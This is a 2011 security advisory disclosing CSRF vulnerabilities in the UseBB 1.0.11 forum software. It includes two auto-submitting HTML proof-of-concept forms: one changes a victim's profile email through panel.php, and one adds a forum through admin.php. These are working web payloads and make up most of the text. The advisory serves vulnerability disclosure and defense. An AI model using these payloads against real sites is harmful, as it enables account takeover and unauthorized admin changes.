HTB22913: Multiple CSRF (Cross-Site Request Forgery) in UseBB

2011-04-05T00:00:00
ID SECURITYVULNS:DOC:26056
Type securityvulns
Reporter Securityvulns
Modified 2011-04-05T00:00:00

Description

Vulnerability ID: HTB22913 Reference: http://www.htbridge.ch/advisory/multiple_csrf_cross_site_request_forgery_in_usebb.html Product: UseBB Vendor: UseBB ( http://www.usebb.net/ ) Vulnerable Version: 1.0.11 Vendor Notification: 22 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "/panel.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of

sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available:

[html] <form action="http://[host]/panel.php?act=editprofile" method="post" name="main" id="main"> <input type="hidden" name="displayed_name" value="123"> <input type="hidden" name="real_name" value=""> <input type="hidden" name="avatar_remote" value=""> <input type="hidden" name="birthday_month" value=""> <input type="hidden" name="birthday_day" value=""> <input type="hidden" name="birthday_year" value=""> <input type="hidden" name="location" value=""> <input type="hidden" name="website" value=""> <input type="hidden" name="occupation" value=""> <input type="hidden" name="interests" value=""> <input type="hidden" name="signature" value=""> <input type="hidden" name="email" value="test@test.com"> <input type="hidden" name="msnm" value=""> <input type="hidden" name="yahoom" value=""> <input type="hidden" name="aim" value=""> <input type="hidden" name="icq" value=""> <input type="hidden" name="jabber" value=""> <input type="hidden" name="skype" value=""> <input type="hidden" name="submit" value="OK"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script> [/html]

The vulnerability exists due to failure in the "admin.php" script to properly verify the source of HTTP request. Attacker can use browser to exploit this vulnerability. The following PoC is available:

[html] <form action="http://[host]/admin.php?act=forums&do=add" method="post" name="main" id="main"> <input type="hidden" name="name" value="123"> <input type="hidden" name="cat_id" value="1"> <input type="hidden" name="descr" value=""> <input type="hidden" name="status" value="1"> <input type="hidden" name="moderators" value=""> <input type="hidden" name="increase_post_count" value="1"> <input type="hidden" name="auto_lock" value=""> <input type="hidden" name="auth0" value="0"> <input type="hidden" name="auth1" value="0"> <input type="hidden" name="auth2" value="0"> <input type="hidden" name="auth3" value="0"> <input type="hidden" name="auth4" value="0"> <input type="hidden" name="auth5" value="0"> <input type="hidden" name="auth6" value="0"> <input type="hidden" name="auth7" value="0"> <input type="hidden" name="auth8" value="0"> <input type="hidden" name="auth9" value="0"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script> [/html]